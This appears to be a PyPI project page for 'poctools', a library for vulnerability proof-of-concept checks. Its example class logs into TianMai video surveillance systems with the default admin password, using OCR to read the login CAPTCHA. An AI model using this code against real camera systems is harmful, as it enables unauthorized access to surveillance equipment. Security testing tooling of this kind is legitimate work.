Skip to main content

poc common tool library

Project description

poctools

install

pip install poctools

example

from poctools import BasicPoc
from poctools.encrypt import md5
from poctools.ocr import new_number


class TianMaiNetworkVideoSurveillanceWeakCipherPoc(BasicPoc):
    jsessionid_uri = "/login.jsp"
    login_uri = "/j_login.auth"
    verify_code_uri = "/jsp/common/validateCode.jsp"

    def __init__(self):
        super(TianMaiNetworkVideoSurveillanceWeakCipherPoc, self).__init__()
        self.name = "天迈网络视频监控弱密码"

    def verify(self, url: str) -> bool:
        jsessionid_response = self.get(url + self.jsessionid_uri)
        if jsessionid_response is None:
            return False
        payload = {"j_apptype": "1", "j_username": "admin", "remember-me": False}
        while True:
            verify_code_response = self.get(url + self.verify_code_uri)
            if verify_code_response is None:
                return False
            code = new_number(verify_code_response.content)
            if len(code) != 4:
                continue
            payload.setdefault("validateCode", code)
            payload.setdefault("j_password", md5("admin" + code))
            login_response = self.post(url + self.login_uri, data=payload)
            if login_response is None:
                return False
            return login_response.status_code == 200 and "验证码有误" not in login_response.text


if __name__ == '__main__':
    target = "http://127.0.0.1:18080"
    tp = TianMaiNetworkVideoSurveillanceWeakCipherPoc()
    result = tp.run(target)
    print(f"{target} -> {result}")

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

poctools-0.0.3.tar.gz (3.7 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

poctools-0.0.3-py3-none-any.whl (6.2 kB view details)

Uploaded Python 3

File details

Details for the file poctools-0.0.3.tar.gz.

File metadata

  • Download URL: poctools-0.0.3.tar.gz
  • Upload date:
  • Size: 3.7 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/3.7.1 importlib_metadata/4.9.0 pkginfo/1.8.2 requests/2.26.0 requests-toolbelt/0.9.1 tqdm/4.62.3 CPython/3.9.7

File hashes

Hashes for poctools-0.0.3.tar.gz
Algorithm Hash digest
SHA256 0d65e888da2511968c51c5c1b112e330109be119a0486ff7286315ca1a22fda2
MD5 9ac41ad46dc4a6c54fc3f254c3e8e3d7
BLAKE2b-256 cf4089a9f2e5186d8025429767da54e88701da267521d3984419dddb0846e7cc

See more details on using hashes here.

File details

Details for the file poctools-0.0.3-py3-none-any.whl.

File metadata

  • Download URL: poctools-0.0.3-py3-none-any.whl
  • Upload date:
  • Size: 6.2 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/3.7.1 importlib_metadata/4.9.0 pkginfo/1.8.2 requests/2.26.0 requests-toolbelt/0.9.1 tqdm/4.62.3 CPython/3.9.7

File hashes

Hashes for poctools-0.0.3-py3-none-any.whl
Algorithm Hash digest
SHA256 c32f3413fbc841c79a5d3c4bd82517c0ce069ae867f10721feb4c16b4afea0e8
MD5 94a5720beac747fb21eca70204de6705
BLAKE2b-256 8663189ee8009430636a42ee274c64a07215884bb0e0ca4d757443629a74c5ec

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page